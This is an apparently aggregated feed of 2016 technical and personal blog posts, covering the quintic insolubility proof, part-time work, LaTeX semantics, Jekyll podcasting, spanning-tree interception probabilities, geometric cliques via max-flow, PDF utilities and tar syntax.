Finally, as a bonus, I’ll explain how to generate algebraic expressions that require a “$d$th-level” operator, meaning an operator that maps to an element of $K^{(d)}(S_n)$, assuming it’s non-trivial. This shows that there’s no single “super-operation” that rules out all algebraic expressions.

As an example, the formulas in the interactive example above are chosen so that $f_A$ is ruled out by the $A_i$, $f_B$ is ruled out by the $B_i$, etc. They depend on the particular roots chosen, of course, which is why this interactive example doesn’t let you move the roots around, but in principle you could build formulas for any polynomial that is first ruled out by $C_i$, or $D_i$, or whatever you wish. Given a polynomial $P = a_n x^n + a_{n-1} x^{n-1} + \dotsb + a_0$ of degree $n \ge 5$ and $d$, a recursive algorithm to generate an expression that is ruled out only by a “$d$th-level” operator is:

If $d = 0$, return $Δ(a_n, a_{n-1}, \dotsc)$.
Otherwise, run this algorithm with $P$ and $d-1$ to get $f_{d-1}(a_n, a_{n-1}, \dotsc)$.
Find operations $o_1$ to $o_m$ that correspond to generators $g_1$ to $g_m$ of $K^{(d-1)}(S_n)$.
For each $o_i$:
1. Apply $o_i$, which makes $x = f_{d-1}(a_n, a_{n-1}, \dotsc)$ go around a loop. Record the looped-around regions and their associated rotation numbers (i.e., the total angle divided by $2π$).
Pick points $z_1, \dotsc, z_t$ such that each $z_i$ has a non-zero rotation number for at least one $o_j$. $t$ can be at most $m$.
Let $k$ be the least number such that, for every $o_i$, $k$ doesn’t divide any of the rotation numbers of any $z_j$ with respect to $o_i$. Return $f_d(a_n, a_{n-1}, \dotsc) = \sqrt[k]{\prod_i (f_{k-1}(a_n, a_{n-1}, \dotsc) - z_i)}$.

Like this post? Subscribe to my feed or follow me on Twitter .

Footnotes

[1] This proof is originally due to Arnold. There are a couple of videos that talk about this proof, as well as this book based on Arnold’s lectures, and this paper. I mostly follow Boaz’s video, and the interactive visualizations are based on the visualizations he has in his video.

The interactive visualizations were generated using the excellent JSXGraph library. ↩

[2] Theorem 1 can be generalized even more! We can append other functions and operations to rational expressions, as long as those functions and operations are continuous and single-valued. For example, we can allow the use of exponentials and trigonometric functions, which is something that the standard Galois theory cannot handle.↩

[3] More precisely, a $↺_{i, j}$ contains a pair of simple paths, i.e. continuous injective functions $[0, 1] \to \mathbb{C}$, between two distinct points of $\mathbb{C}$, such that their concatenation defines a simple closed curve around a region in $\mathbb{C}$ with a counter-clockwise orientation. Also, depending on the exact method of formalizing $↺_{i, j}$, it either explicitly or implicitly encodes a permutation on $R$. Then we can define an operation $*$ on the $↺_{i, j}$ and $↻_{i, j}$ (defined analogously) which concatenates the paths (and composes the permutations, if explicitly encoded). Since the space of paths has no inverses or an identity, the $↺_{i, j}$ and $↻_{i, j}$ generate a free semigroup with the operation $*$. Then this semigroup defines an action on $R$ via its associated permutation on $R$, which then just generates $S_n$, since $S_n$ is generated by adjacent swaps.

We make a distinction between the operation $↺_{i, j}$ and the permutation it induces on $R$, since the latter “loses” the orientation information, which is important to preserve when talking about the action of $↺_{i, j}$ on some $x_i$. ↩

[4] Note that, depending on the text, the commutator may be defined slightly differently as $g h g^{-1} h^{-1}$. ↩

[5] $K(A_4)$ is isomorphic to $V$, the Klein four-group. ↩

[6] In fact, the quartic formula has three nested radicals. I wonder why? ↩

Consider Part-Time Work

ntietz.com blog - technically a blog — Mon, 26 Sep 2016 03:00:00 GMT

It has long been predicted that with more automation and more technology, we could all work less and have more leisure time, but we continue to fall short of that promise. In many ways, we're working harder and longer, with more stress, than previous generations did. I think that a large part of that is because of societal pressures to work long hours, even when doing so doesn't make sense.

That doesn't make a lot of sense to me. We shouldn't work long hours just for the sake of it, especially because right now, conditions are almost perfect for accommodating part-time work. It would benefit everyone if we could reverse societal pressures and encourage part-time work and shorter hours.

Many arguments center around the benefits to the employees - which are numerous - but there are immense benefits to employers, families, and society as a whole.

Employers Benefit

Here are a few of the reasons that you should consider part-time work for your employees, whether you're running a startup or a multi-national corporation:

Programmers are like cows... and we know that happy milk comes from happy cows. Traditionally, we have tried to make programmers happy by giving them perks like ping-pong tables and free beer, but those are exclusionary perks (not everyone drinks, not everyone wants to live like they're in college) that benefit a particular demographic, whereas everyone can benefit from having fewer hours, so they have more to do what they want.
You remove waste while retaining throughput. When you cut down hours, you will mainly remove the wasted hours - those spent on long coffee breaks and long lunch breaks and talking at the water cooler. But you will also remove other forms of waste, as your employees will start to police meeting length and cut down on the Nerf dart battles, because when their time is limited they will not want to waste it.
You can retain people who would otherwise leave. There are plenty of people who leave jobs because their schedules aren't flexible enough. I recently left a job because the hours were not conducive to the other projects I want to work on, and it's fairly common for new parents to leave for a job that gives them more time with their families. If you let employees work part-time, you will be able to retain these talented employees and avoid leaving gaps in your lineup.

Employees Benefit

The benefits to employees are fairly self-explanatory, but here goes anyway:

You get to have a fresher mind when you're at work, because you're not at work as often.
You have more free time to explore the hobbies you love, whether that is running or reading or even more programming.
You will cut down on wasted time at work (less reddit, shorter meetings, shorter coffee breaks) and will end up leaving feeling much more fulfilled.
For those of you with families or planning on having one, you get more time with your family - who can argue with that?
If you want to start your own company, it gives you another option instead of just quitting your job or trying to burn the candles at both ends while working a full-time job. (This is what I'm doing - consulting part-time, and starting a company in the rest of my time, so I work full-time but only get paid for part of it.)

Society Benefits

Probably most important here are the benefits to society at large, especially because getting a lot of part-time work will require a societal shift so that it is not looked down upon to avoid full-time employment (and to pressure employers to allow it and provide benefits to part-time workers). Here are just a few, although there are many more I've missed:

We can create more white-collar jobs. There is a certain amount of demand for programmers and accountants and actuaries, so if each of these employees provides fewer hours, we can hire more of them. In the long-run, this demand will encourage creating job training programs, encourage more people to pursue these fields, and hopefully help elevate more people to the middle or upper class.
It makes for a more equal society and reduces some gender barriers for women (and men) who want to be parents. No one should have to choose between having a career and being the primary parent, so accepting part-time work would aid in this. Primary parents could still have careers. Children of career-oriented people could still have parents. Everyone involved gets more time with those they love and it would be great.
Society would have more innovation and more startups. As other nations are getting more and more innovation, the US is at a critical juncture. We need to ensure that our economy stays strong and our innovation sector stays at the forefront if we want to remain economically competitive - let alone dominant - for years to come. People come up with their best, most innovative ideas when they are well rested and when they have time to just sit and think and be bored, so let's create more of that. Having longer hours and longer commutes may grind out productivity right now (although, I'm skeptical) but in the long run it will not benefit our society. We need a culture that fosters creativity, not grinding out widgets.

So, that's my pitch. I think that any of you who want to be more creative, who want to learn more, who want more freedom - you should consider working part time, and you should consider the same for your employees. I've taken the leap, and so far it has been great. I'm more creative than I was a month ago, and it seems like I'm becoming more creative every day. Join me.

No SDN Kubernetes

Justin Garrison's Homepage — Mon, 26 Sep 2016 03:00:00 GMT

Kubernetes networking has a few requirements.

Raspberry Pi Video Overlay on OMXPlayer via Kivy

peanball.net — Mon, 26 Sep 2016 03:00:00 GMT

In one of my hobby projects I needed to display additional information on top of a running video. The whole project is based on the Raspberry Pi and Python.

This article describes the approach I’ve taken to display arbitrary content over the video with the help of the very flexible (and admittedly awesome) Kivy framework.

Interviewing developers

Serge Nevsky — Sat, 24 Sep 2016 03:00:00 GMT

I hear it a lot in Kansas City: “We can’t find good engineering talent,” followed by some excuse.

2016-09-24

ho.dges.online — Sat, 24 Sep 2016 03:00:00 GMT

M&D

Maze thing

TOGoS's Project Log — Fri, 23 Sep 2016 21:13:37 GMT

Appearance vs semantics

Negative Feedback — Fri, 23 Sep 2016 12:05:33 GMT

As our department's go-to guy for computer-related queries, I have been involved in ushering many people from Word to LaTeX and more recently Markdown (via Jupyter Notebooks). I find myself repeating some thoughts over and over again, so I thought I would take the time to write them down this time rather than have another discussion about it.

Formatting and meaning

Many modern computer users use direct manipulation tools like Word in a way which achieves the layout and look of the document they are working on in the shortest amount of time possible. This often involves direct formatting. Many Word users do not use styles or really think about the semantics of their document layout at all. Semantics in this context means that there are two layers to the appearance of documents. I can emphasize a word by writing it in italics. In Word, I simply apply the formatting. But the action of formatting is the same whether I am applying italics because I want to add emphasis or because I want to format a species name like Saccharomyces cerevisiae. The formatting is handled by the tool, and the semantics are not encoded in the document at all. A human writer or reader would reconstruct the semantics from context, distinguishing between the italics used for emphasis and the italics used for a species name.

When I started learning how to use LaTeX I was converted to this philosophy of adding semantic content to the document and allowing the document generator to make decisions about how it would look. The LaTeX way of handling the formatting in the previous paragraph would be to use \emph{ephasize} for the emphasis and \species{Saccharomyces cerevisiae} for the species. So if you're doing LaTeX the way its creators intended it to be used, you end up looking at a document layer with the words you are writing and the meaning you intend it to have, but not seeing what it looks like until you compile the document. This allows for a great amount of flexibility. I may decide later that emphasis works better when bold rather than italic, for instance.

The most common issue new users of LaTeX have with the system is that it is often hard to apply the formatting they want. I think this is a direct cause of them not having considered the semantics of their formatting. They just want to know how to get the text to be bold, or a different font or colour or alignment, which are all very simple operations in Word, but often quite hard in LaTeX, for the very reason that LaTeX was designed to separate these small formatting concerns from the meaning layer.

Now, if you are a certain type of Word user, you may be saying that these concerns look very much like using styles. You would be right. My experience with Word users, however, shows that very few of them aim for purity in their application of styles, and the whole interface of Word is asking you to simply click the formatting buttons you need to get the document to look like you want it to look.

The web dimension

Although LaTeX and Word are different regarding the encoding of meaning, their default use is still focused on producing a document within a relatively fixed layout. For the vast majority of users, the target is to produce an A4 page which will either be printed and read or be shown in a simulation of a sequence of A4 pages in an environment like Adobe Acrobat or even just Word itself. Choosing a paper size makes some other choices relatively easy. It is easy to know what size fonts should be displayed as, or what size a picture will be and where it is on the page, as all these things have simple unambiguous answers when working with print.

The web changes these assumptions greatly. Every viewer is likely to have, if not a different size screen on their device, then a different size for their window. They may have different fonts installed on their system and they may even have overridden their preferences so that their fonts display differently. HTML was designed with a similar philosophy to LaTeX in that the tags encode semantics more than appearance. There is even a kind of similarity to the code. For instance, to emphasise text, you could do emphasis, allowing the same flexibility of formatting I mentioned earlier. Of course, there are also direct formatting tags, but many people advocate removing as much of the formatting details from your HTML as you can, relying on CSS to style the output document. The amazing results of this can be seen at sites such as the CSS Zen Garden, where the same document can look very different depending on the styling supplied.

Even if we're not going over the top like the Zen Garden, we may see the benefit of allowing flexible layout when rescaling a window or viewing a web page on a phone with a smaller screen. I think everyone can agree it is more convenient to view a web page which nicely reflows and uses sensible font sizes, than trying to read a PDF on your phone.

Markdown (and the Jupyter Notebook)

This brings me to Markdown, which aims to be a more easily writable format for producing HTML. It is being used as the default text entry method in Slack and the Jupyter Notebook. Since it is aimed primarily at the Web, it inherits many of the semantics/formatting distinctions from the other tools. When you look at the syntax of Markdown, you will notice that there are very few commands or formatting options which allow the user to determine what text will end up looking like. This is disconcerting for users who are used to applying formatting for the sole purpose of obtaining a particular visual result, and they often end up hunting through the various options to get the effect that they are looking for without thinking about the semantics. I recently found a document where the author had used #### in front of a paragraph in order to obtain a bold text effect when in fact #### is used to produce a level 4 heading.

Formatting advice

Now that I have talked about what I see as one of the major conceptual hurdles encountered by people migrating from Word, let me give my advice. When producing a document using one of the markup systems, resist the temptation of applying any direct formatting in the first draft. Focus on the content of the document and apply semantic markup only. Distinguish between heading levels using the tools provided (\section,

or #). Restrict your check of the rendering to check that there are no errors in the processing (so don't check if the document "looks" right, just check that all the text you have written ended up in the final output and has the appropriate semantics). Once you have done that, figure out how to handle formatting in a way which doesn't require direct formatting. Style files for LaTeX, CSS for HTML and Markdown which results in HTML output. Also, before you start fiddling with the formatting, try hard to live with the default formatting, as this will allow the maximal freedom for downstream users. When you make a decision about how wide the text should be because it looks good on your screen, you may be negatively affecting the experience of a user with a wider or narrower screen. Similarly, try to be considerate of scaling in inserting things like pictures. Avoid direct sizes like 300px and rather use relative sizes (like 60% if you want the picture relative to the screen size, or 100em if you want it relative to the font size), this will make your output scale correctly on output devices.

If you are viewing your output on a web browser, try to change the size of the window and see if the formatting is still the way you like it. In almost all cases, it will be better to avoid formatting and allow the browser to figure out how to display things rather than micro-managing it.

Special characters and math

My final note is about special characters and math. Many word users still use the Symbol font to include special characters in their text. The Unicode standard has solved this problem in a far better way. The drawback of using Symbol in Word is that it doesn't allow for easy reformatting of your document later. For instance, if I had used a capital D and symbol font instead of ∆ in this sentence, you wouldn't be able to select it and reformat it in Arial, as the symbol would turn back to a D! Using proper Unicode symbols allows you to copy and paste into text-only fields on Facebook, WhatsApp Web, Slack and the Jupyter Notebook. Learn how to do entry for the platform you are using.

For mathematical formulae, it is worth your while to learn a little bit of LaTeX math syntax. It is memorable and easy to type and is used in the latest version of the Word equation editor:

These shortcuts will save you time in all these environments and are the same in the Jupyter Notebook.

The craziest "undo" algorithm you've never heard of

Databases & Life — Fri, 23 Sep 2016 03:00:00 GMT

The arrow of time may famously only point only one way, but the progress in computer science takes a weaving non-linear path through the thing we understand as time.

The current understanding of how “undo” works within computer programs is pretty fixed; all programs use “undo” and “redo” in the same way? But could “undo” and “redo” be more advanced?

To look for a more advanced version than we use today we have to look to an algorithm I first became aware of in 1989.

Using Go mobile on iOS for real

Fabrice Aneche — Thu, 22 Sep 2016 22:39:32 GMT

Go Mobile can generate native framework for iOS and Android using Go code, I was curious what could be achieved with it. Most tutorials are Hello world and I wanted to test it with real code. You can use it to generate a full app only using Go code, but I’m only interested by the bindings part (SDK applications), using a native ObjC/Swift app calling Go code. I’m using some existing Go code regionagogo, (a geofence database), moderately complex since it uses BoltDB and Google S2 library.

SSIS frameworks and unnecessary complexity

Christo’s Blog — Thu, 22 Sep 2016 20:43:59 GMT

The notification email arrives in my inbox carrying the unwelcome message that the SSIS job failed.

Virtue

Anardil — Thu, 22 Sep 2016 10:00:00 GMT

A new way to look at an old word and maybe yourself

Links - September 22nd, 2016

Avy Faingezicht — Thu, 22 Sep 2016 03:00:00 GMT

So much for making an effort to post more consistently... 🙄

A collection

Avy Faingezicht — Thu, 22 Sep 2016 03:00:00 GMT

A collection of photos from the past couple of months. The first few I took for my photo class, but I never shared here, while the later ones are mostly tests of my new lens. Still getting used to it.

2016-09-22

ho.dges.online — Thu, 22 Sep 2016 03:00:00 GMT

Redux anti-pattern: dumb mapStateToProps

Gosha Spark — Thu, 22 Sep 2016 03:00:00 GMT

Podcasting with Jekyll

Mike Kasberg's Blog — Wed, 21 Sep 2016 22:00:00 GMT

I recently did some volunteer work to upgrade the website for a podcast. I chose to re-write the site from scratch, but needed to migrate all of the existing content. After some research, I determined that Jekyll fit our needs best because:

One of my own requirements was that the site, and all the posts (episodes) would be under version control.
I wanted to automate certain parts of the process. Jekyll, being a simple command line application, made this relatively easy.
I was the sole person contributing to the site, and was comfortable with deploying and updating a website, so a full-blown CMS would be overkill.
Jekyll, once built, is plain HTML. No databases to manage.

The Old Site

When I took over the web presence of the podcast, it had roughly 4 years of content that needed to be preserved. The old site was driven by WordPress.

The site itself was a simple WordPress site, based on a template.
All audio files for the podcast were stored in their own folder, managed outside of WordPress. Fortunately for me, this made several aspects of the migration easier.
The iTunes RSS feed for the podcast was an XML file that was manually updated. I guess this is an artifact from the “old old” site, before they were on WordPress.
Each episode had a WordPress post that contained the title, a short description, an image, and a link for the audio.

Podcasting with Jekyll

I wanted the new site to be simple, easy (for me) to update, version controlled, and as automated as possible. First, I had to work out the mechanics of how to actually do podcasting with Jekyll. After publishing several new episodes, I’ve found the setup to be quite nice:

The site itself is a pretty standard Jekyll blog. Blog “posts” are actually podcast episodes. Generally speaking, they work just like Jekyll blog posts in any other site. To add a new episode, I just create a markdown file in the _posts folder with some YAML frontmatter.
The iTunes RSS feed (which is what makes this a podcast) is generated just like any other HTML page in Jekyll using the Liquid templating engine. (Based, roughly, on this.)
The frontmatter for episodes has a few special fields. These are used to populate metadata for the RSS feed, and to link to the correct audio file.
The Jekyll project is stored in Git. To keep the repository small, audio
files are stored outside the repository and backed up elsewhere.

The Migration

After developing the Jekyll site, I had to migrate all of the content off of the old WordPress site and into the new Jekyll site. Fortunately, since the audio files were already in a separate folder, they did not require any migration.

Since I was now generating the RSS feed with Jekyll, I needed to import all the necessary metadata into a markdown file for each existing episode. To accomplish this, I wrote a script that will generate Jekyll posts (markdown files) from an existing RSS feed. This was the most difficult (and riskiest) part of the migration because I needed these Jekyll posts to produce an RSS feed nearly identical to the existing one (which was not managed by Jekyll).

After importing all the old episodes, all that was left was to deploy the site. Again, because Jekyll generates static HTML, this was easy. I deployed all pages except index.html while the wordpress site was still live. Finally, deleting wordpress’s index.php and replacing it with the new index.html switched the new site on with no downtime. Because the location of the iTunes RSS feed didn’t move, iTunes and other podcast scrapers did not need to be changed and immediately started picking up any new episodes deployed with Jekyll.

Conclusion

Exporting the old website from WordPress and importing it to Jekyll was easier than I could have hoped it would be, thanks to a few simple scripts. So far, Jekyll has been easier and more enjoyable to work with than WordPress. It’s also proving to be a great platform for serving a podcast. I’m working on a solution for automated deployment, but that’s a topic for a different post.

Clean Tea

Craig Pardey — Wed, 21 Sep 2016 03:00:00 GMT

I recently weaned myself off coffee. My daily intake levels were well above normal levels, as was my tolerance. The only thing it was doing for me was preventing me from getting a good night’s sleep. So I decided to quit. I spent two weeks cutting back, and then went cold turkey over the Labour Day weekend.

I’m now sleeping much better, and no longer need that morning jolt to get me going.

Gitlab Pages: A Wordpress Alternative

A Holding Company — Wed, 21 Sep 2016 03:00:00 GMT

A. Who is this guide for? ¶

This guide is for someone who doesn’t code, but has maybe set up a Wordpress site or two, and they’re looking to learn how to build a simple, but working, site from scratch. This will include a gentle introduction to HTML, CSS and Javascript as well, since we’ll be using Twitter Bootstrap, which is a front-end framework, to give us a running start. In Part 1, we’ll go over how to setup a domain name with Gitlab Pages, and understand how to make changes to your website.

gRPC Envoy Nghttp2 and Load Balancing

Fabrice Aneche — Wed, 21 Sep 2016 00:40:04 GMT

I’ve been using gRPC at work and in several personal projects for months and happy with it, but when it comes to load balancing gRPC does not come with batteries included. For a long time the only document was the Load Balancing draft in the gRPC repo, the clients should implement a Picker interface to know about the servers, so the pooling and controling the load were handled by the clients.

Weekend in Tahoe

Avy Faingezicht — Tue, 20 Sep 2016 03:00:00 GMT

We went to Lake Tahoe. It was fun.

Tim Van Damme: Founder of Abstract

Sam Solomon — Tue, 20 Sep 2016 03:00:00 GMT

Tim Van Damme is the founder of Abstract, a company building version control for designers. Previously, Tim was a designer for Instagram, Dropbox and more.

Colin Powell’s 13 rules of leadership

Yasha Solutions — Tue, 20 Sep 2016 03:00:00 GMT

“It ain’t as bad as you think. It will look better in the morning.” “Get mad, then get over it.” “Avoid having your ego so close to your position that when your position falls, your ego goes with it.” “It can be done.” “Be careful what you choose: You may get it.” “Don’t let adverse facts stand in the way of a good decision.” “You can’t make someone else’s decisions. You shouldn’t let someone else make yours.

To Get People To Build A Boat by Antoine de Saint-Exupéry

ho.dges.online — Tue, 20 Sep 2016 03:00:00 GMT

To get people to build a boat you don’t need to get them to weave canvas, forge nails, or read the sky. You need to give them a shared yearning for the sea.
— Antoine de Saint-Exupéry

Telephone Wiretapping

Nicholas Pilkington — Sun, 18 Sep 2016 11:23:06 GMT

Imagine you are looking to intercept a communication that can happen between two people over a telephone network. Let’s say that the two people in question are part of a larger group, who all communicate with each other (sometimes via other people in the network if they don’t have their phone number). We can represent this as a graph where the vertices are people and edges connect two people if they have each other in their phone books.

Here’s a network with 6 people, some of whom don’t directly communicate with each other but can do so through others. Each person can reach all the others though, so the graph is connected.

Let’s also assume that this group of people communicate efficiently and use the smallest amount of calls possible and always distribute information to every person. If an unknown member of the network wants to communicate some nefarious plans to all the other members they call some people who in turn spread the message through the network by making more calls while adhering to the rules above. If we can tap a single link between two people what is the probability of intercepting one of these calls? Let’s work through an example of a network of 4 people who can each communicate with two others. The graph looks like this:

If we tap then link connecting 0 and 1 there is only one way to communicate to all members without using this tapped link, where as there are 3 that do use it. Meaning that the probability of intercepting the information is 0.75. The small images represent the ways in which the communication can happen and those that use the tapped link (will be intercepted) are highlighted.

There are a couple of important things to note as this point. Firstly the links chosen to communicate over form a spanning tree of the graph. This is an important property as a spanning tree has one less edge than the number of nodes and doesn’t contain any cycles. Cycles would mean that the communication has not been efficient because we could remove an edge on the cycle and still have the information reach all the people.

Let’s work through another example and compute the probability of intercepting the communication if we tap a specific link. Here is another graph. It represents 4 people but this time there are 6 links. Everyone can communicate with everyone else. Let’s tap the top link - highlighted in yellow.

Now let’s enumerate all the spanning trees of this graph manually. Notice that each spanning tree connects all the vertices in the original graph just using fewer edges. In particular 3 edges which is one less that the number of vertices. Adding another edge would create a cycle. There are 16 different spanning trees and 8 of them (highlighted in yellow) use the link we have tapped. This means the probability of intercepting the transitions is 8.0 / 16.0 = 0.5.

Cool! So to solve this problem we need to count the number of spanning trees of a graph that uses a specified edge - call that value A. Then compute the number of spanning trees that the graph has - call that value B. The probability of intercepting the communication on the tapped link is A/B.

The number of spanning trees that use a specific edges can be computed by collapsing the vertices at each end of that edge into one vertex and computing the number of spanning trees for that new multi-graph. For example for the cross-box graph above if we want to find the number of spanning trees that use the top edge we collapse it and generate the graph on the right which indeed has 8 spanning trees. Remember this could create multi edges between vertices.

Enumerating all the spanning trees is not a feasible option as this number grows really quickly. In fact Cayley’s formula gives the number of spanning trees of a complete graph of size K as K ** (K-2).

Instead we can use Kirchhoff’s matrix tree theorem. Which tells us that if we have a graph represented by an adjacency matrix G we can count the number of the spanning trees as:

Where the lambdas are the non-zero eigenvalues of the associated Laplacian matrix G. It’s actually easier and more numerically stable to compute the determinant of a cofactor of the Laplacian which gives the same result. The Laplacian matrix is used to compute lots of useful properties of graphs. It is equal to the degree matrix minus the adjacency matrix:

Computing the Laplacian from an adjacency matrix can be done with this code:

# compute the Laplacian of the adjacency matrix
def laplacian(A):
    L = -A

    for a in xrange(L.shape[0]):
        for b in xrange(L.shape[1]):
            if A[a][b]:
                L[a][a] += A[a][b] # increase degree

    return L

Using this we can compute the cofactor.

def cofactor(L, factor=1.0):
    Q = L[1::, 1::] # bottom right minor
    return np.linalg.det(Q / factor)

Also I added a scaling parameter to the cofactor computation. The determinants can get really big when the network has thousands of vertices. In this case computing the numerator and denominator of the probability can result in overflow. If we take some factor factor out of the Laplacian matrices before computing the determinant we reduce the value by factor ** N where N is the size of the matrix. Using this we can compute the probability for large matrices because the factors almost totally cancel out because the matrices dimensions different by only 1.

def probability(G1, G2):
    factor = 24.0

    # det(A) = f**n*det(A/f)
    L1 = laplacian(G1)
    L2 = laplacian(G2)
    Q1 = cofactor(L1, factor=factor)
    Q2 = cofactor(L2, factor=factor)

    # f**(n-1) * det(G1/f)
    # -------------------
    # f**(n-2) * det(G2/f)
    return Q1 / Q2 / factor

Using this we can go through each edge in the graph and compute the probability of intercepting if we tap that edge. This value will change depending on the graph and if it has an articulating points these edges will have probability 1.0.

Geometric Cliques

Nicholas Pilkington — Sun, 18 Sep 2016 04:57:18 GMT

If you have N points in the plane what is the largest subset of those points such that each point is within a distance of D of all the others. It seems pretty innocuous right? Turns out it’s a great big beautiful disaster.

Here’s a example of N = 10 points where the maximum subset are the points collected with dotted lines which are each within a distance D of each other. There is no bigger set.

Trying to compute every subset of points and checking if they are all within D of each other will take exponential time O(2^N). So we need a better approach. Let’s try picking a point which will will assume to be part of this clique. Then all the candidate points that are not within D of that point won’t be in the clique. For example if we have three co-linear points spaced by D and select the middle one to build our clique then either the left points can be in the clique or the right one but not both. This does give us a heuristic. We can take each point filter out points that aren’t within D and then run a brute force search to find the maximal clique.

Let’s try and do better, as this could still be exponential depending on how the points are clustered. Let’s start with a bunch of points:

Pick any two points and assume that they are going to be the furthest points apart in our clique let this distance be F, so F <= D.

If we filter out all points more than F from these two points we get this situation

# try all candidates for furthest points
for i in xrange(N):
    for j in xrange(i + 1, N):
        xi, yi = points[i]
        xj, yj = points[j]

        if distance(xi, yi, xj, yj) > D: continue

        # Furthest pair in our clique
        F = distance(xi, yi, xj, yj)

        lens = []

        for k in xrange(N):

            if k == i: continue
            if k == j: continue

            xk, yk = points[k]

            if distance(xi, yi, xk, yk) > F: continue
            if distance(xj, yj, xk, yk) > F: continue

            lens.append(points[k])

Points inside the intersection of these two circles - the lens shape - are within F of both points at the end of the line and F <= D. I thought this way the end of the story. But we can’t simply select all of these points as a clique because they may not be within D of each other. For example the top and bottom points in the lens shape might be further than D apart so we need to do some more work.

First note that all the points above the dotted lines are within F and therefore D of each other so they are a potential clique, as are points below the dotted line. But there may be a bigger clique incorporating points from both sides of the lines. If we pick a certain point below the line for our clique we are forbidden from picking any points more than D away from that point. Incidentally these forbidden points will all lie on the other side of the line. Take a moment, look at the picture above and make sure you are happy with that.

Now lets separate the points inside the lens shape into two sets. Those above the dotted line and those below. This can be done buy taking the signed area of the triangle created between the two points at the end of the line and the point in question. If the area is positive the point is above the line and is it’s negative it’s below the line.

top, bot = [], []
        M = len(lens)

        for k in xrange(M):
            xk, yk = lens[k]

            if area((xi, yi), (xj, yj), (xk, yk)) >= 0:
                top.append(lens[k])
            else:
                bot.append(lens[k])

The situation is now like this:

Let’s now treat each point as a vertex and connect vertices in one set with vertices in the other if they are further than D away. Using fewer points so it’s not as cluttered the situation could look like this. Red lines denote points further than D apart and some point don’t have edges connected to them. This is fine, it just means all points are within D of them.

We’ve now constructed a bipartite graph representing some of the geometric constraints we are interested in. So our task is to select the maximum number of points from this set such that we don’t have any two points connected by a red line because that means they are too far away. Vertices with no edges connected to them are freebies. They are within D of all of points so there’s no reason not to pick them.

Our problem of selecting the maximum number of vertices in a graph such that no two points have an incident edge is the problem of computing the maximum independent set of a graph. This is unfortunately NP-Complete in a general graph but in a bi-partite graph the number of vertices in the maximum independent set equals the number of edges in a minimum edge covering. This in turn is equal to the maximum-flow of the graph. This series of dualities is called König’s theorem.

Without the bi-partite structure, computing the maximum independent set is NP-Complete where as maximum-flow can be computed in a general graph in polynomial time. So we’re in much better shape. We compute the maximum flow of this graph and that value f plus the number of nodes without edges top_set and bot_set plus 2 for the end points of the line as our solution for that pair of points.

def max_bipartite_independent(top, bot):

    graph = collections.defaultdict(dict)

    top_set = set( [i for i in xrange( len(top)) ])
    bot_set = set( [i for i in xrange( len(bot)) ])

    for i in xrange(len(top)):
        for j in xrange(len(bot)):

            xi, yi = top[i]
            xj, yj = bot[j]

            if distance(xi, yi, xj, yj) > F:

                node_i = 'TOP' + str(i)
                node_j = 'BOT' + str(j)

                src = 'SOURCE-NODE'
                snk = 'SINK-NODE'

                graph[node_i][node_j] = 1
                graph[src][node_i] = MAX_INT
                graph[node_j][snk] = MAX_INT

                top_set.discard(i)
                bot_set.discard(j)

    f = flow.max_flow(graph, 'SOURCE-NODE', 'SINK-NODE')
    solution = f + len(top_set) + len(bot_set) + 2
    return solution

There are a few different algorithms to compute maximum flow . The following is a simple implementation of the Ford-Fulkerson algorithm using Dijkstra’s algorithm to find augmenting paths.

import Queue

def dijkstra(graph, source, sink):

  q = Queue.PriorityQueue()
  q.put((0, source, []))
  visited = set([source])

  while not q.empty():
    length, node, path = q.get()

      # Found a path return the capacity
    if node == sink:
      cap = None
      for a, b in path:
        if cap is None or graph[a][b] < cap:
          cap = graph[a][b]
      return cap, path

  # Visit next node
  for child in graph[node].keys():
    if not child in visited and graph[node][child] > 0:
      next_state = (length+1, child, path + [(node, child)])
      visited.add(child)
      q.put(next_state)

  # No paths remaining
  return None, None

And the remaining code to compute the maximum-flow of the graph:

def max_flow(graph, source, sink):

    flow = 0

    while True:
        capacity, path = dijkstra(graph, source, sink)
        if not capacity: return flow

        for a, b in path:
            graph[a][b] = graph[a].get(b, 0) - capacity
            graph[b][a] = graph[b].get(a, 0) + capacity
        flow += capacity

    return flow

Cool so we’ve finally go all the pieces needed to solve this problem. We try every pair of points O(N^2) as the candidate for the two furtherest points in our clique then of the points the fall inside the lens we build a bipartite graph and compute the maximum independent set which corresponds to the maximum clique size.

All in the algorithm takes O(V^2) attempting each pair of candidates points. But with the maximum-flow inner loop it’s O(V^5). This appears to be optimal without using a faster maximum matcher. Full source code is here, maximum flow code and a little visualizer.

API design bookmarks

xenodium.com @alvaro — Sun, 18 Sep 2016 03:00:00 GMT

Handy pdf utilities

xenodium.com @alvaro — Sun, 18 Sep 2016 03:00:00 GMT

Straight out of How (and why) I made a zine, some handy utilities for generating pdfs…

Convert pngs to pdfs

# start with a bunch of PNG images of your zine pages
# convert them all to PDF
for i in *.png
   do
      # imagemagick is the best thing in the world
      convert $i $i.pdf
   done

Combine pdfs

Combine pdfs using pdftk:

pdftk *.pdf cat output zine.pdf

Combine pdfs using poppler:

pdf unite PDF1.pdf PDF2.pdf PDF3.pdf

Reorder pdf pages

# pdfmod is a GUI that lets you reorder pages
pdfmod zine.pdf

Add margins to pdf

# pdfcrop lets you add margins to the pdf. this is good because otherwise the
# printer will cut off stuff at the edges
pdfcrop --margin '29 29 29 29' zine.pdf zine-intermediate.pdf

Turn pdf into booklet

# pdfjam is this wizard tool that lets you take a normal ordered pdf and turn
# it into something you can print as a booklet on a regular printer.
# no more worrying about photocopying machines
pdfjam --booklet true --landscape --suffix book --letterpaper --signature 12 --booklet true --landscape zine-intermediate.pdf -o zine-booklet.pdf

Do You Speak Tar?

Baptiste Fontaine’s Blog — Sat, 17 Sep 2016 19:02:00 GMT

For a lot of people, the GNU tar command’s options seem obscure and hard to use. The most common ones exist only in a short form and always appear grouped in the same order and often without a leading hyphen, e.g. tar xzvf archive.tgz and not tar -v -z -x -f archive.tgz. Additionally, tar doesn’t work without any “option”.

These options, or rather these commands, can be seen as a (small) language that you can learn to ~~speak,~~ write or read. Each command has its own meaning that sometimes depend on which other commands are used with it.

The Grammar

tar’s sentences start with a verb. There’s no subject, because you’re giving an order to tar. This verb is followed by zero or more modifiers that give more context to the action. The last part is the object(s) on which the action is made. Spaces are not needed between tar’s words because they all consist of one letter.

Actions

The two most common actions are “create” (c) and “extract” (x). The first one is used to create an archive from some files; and the second is used to extract that archive in order to get back those files.

All tar implementations support one more action: “list” (t) to list an archive’s content without extracting it. Some implementations support two variants of “create” that are “append” (r) and “update” (u). The former appends files to an existing archive; the latter updates files in the archive for which there exist a more recent version.

